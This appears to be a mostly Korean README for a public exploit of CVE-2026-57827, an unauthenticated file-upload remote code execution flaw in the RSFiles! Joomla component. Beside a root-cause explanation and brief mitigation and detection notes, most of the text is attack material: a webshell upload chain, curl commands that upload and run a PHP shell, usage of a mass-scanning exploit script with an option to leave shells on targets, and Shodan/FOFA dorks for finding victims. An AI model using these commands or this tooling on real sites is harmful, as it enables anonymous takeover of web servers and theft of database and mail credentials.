
CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827은 Joomla용으로 널리 사용되는 파일 관리 및 다운로드 컴포넌트인 RSFiles!(com_rsfiles) 버전 < 1.17.12에서 발생하는 치명적 심각도(CVSS 9.8)의 인증 없는 임의 파일 업로드 취약점입니다.
이 취약점은 분할 컨트롤러 설계 결함을 악용합니다. RSFiles!는 업로드를 두 개의 프론트엔드 태스크로 분리합니다 — 사전 점검(권한 게이트 + 확장자 허용 목록)과 쓰기 메서드(파일을 디스크에 저장). 쓰기 메서드는 사전 점검을 완전히 우회하여 직접 호출될 수 있습니다. 인증도, CSRF 토큰도 필요하지 않습니다.
| 버전 | 상태 |
|---|---|
| < 1.17.12 | 취약 |
| 1.17.12+ | 패치됨 |
발견자: Phil Taylor, mySites.guru (2026년 7월 10일) 공급업체: RSJoomla (rsjoomla.com) 컴포넌트: com_rsfiles
RSFiles!는 /components/com_rsfiles/controllers/rsfiles.php에서 업로드를 두 개의 별도 프론트엔드 태스크로 분리합니다:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload를 통해 어떤 태스크든 직접 호출할 수 있게 하여 사전 점검을 완전히 건너뜁니다.JFile::upload())로 전달하는데, 이 핸들러는 기본적으로 모든 파일 형식을 허용합니다..htaccess는 기본적으로 OFF인 선택(opt-in) 관리자 설정입니다.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
보안 검사(권한 게이트 + 확장자 허용 목록)는 실제로 파일을 쓰는 메서드와 분리된 사전 점검 단계입니다. 검사는 첫 번째 단계에만 있습니다. 두 번째 단계 — 디스크에 쓰는 단계 — 는 URL에 올바른 task 매개변수를 구성하여 직접 호출할 수 있으므로 모든 보안 통제를 우회합니다.
이것은 "검사와 동작이 서로 다른 위치에 있는" 안티패턴의 전형적인 사례입니다. 보호 장치와 보호 대상 작업이 분리되어 있어, 공격자는 보호 장치를 통과하지 않고도 작업에 도달할 수 있습니다.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
1단계 — 셸 업로드
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
2단계 — 셸 접근
curl 'https://target.com/downloads/shell.php?c=id'
3단계 — 명령 실행
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
완화 조치 (업데이트가 불가능한 경우)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
익스플로잇에 성공하면 웹 서버 사용자 권한으로 원격 코드 실행이 가능해집니다:
configuration.php 추출 → 데이터베이스 자격 증명, SMTP 비밀번호어떤 단계에서도 사이트 계정이 필요하지 않습니다. 익명, 비인증, 원격 공격입니다.
RSJoomla는 버전 1.17.12에서 다음과 같이 취약점을 수정했습니다:
.htaccess 보호를 기본 활성화로 변경교육 및 승인된 테스트 목적으로만 사용하십시오.
소유자의 명시적 허가 없이 시스템을 대상으로 사용하지 마십시오. 저자는 오용에 대한 책임을 지지 않습니다.
RSJoomla 또는 mySites.guru와 제휴 관계가 아닙니다.
| 파일 | 용도 |
|---|
/components/com_rsfiles/controllers/rsfiles.php | 취약한 upload() 및 checkupload() 태스크가 있는 컨트롤러 |
/components/com_rsfiles/views/upload/tmpl/upload.php | 프론트엔드 업로드 폼 템플릿 (확인됨: name="file", task=rsfiles.upload) |
/downloads/ | 웹 루트의 기본 downloads 폴더 (.htaccess 보호 기본 OFF) |
/briefcase/ | Briefcase 폴더 (쓰기도 가능) |
| 리소스 | 링크 |
|---|
| NVD 항목 | CVE-2026-57827 |
| mySites.guru 권고 | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| RSJoomla 권고 | rsjoomla.com |
| CWE-434 | 위험한 유형의 파일 무제한 업로드 |
| 보고자 | Phil Taylor, mySites.guru |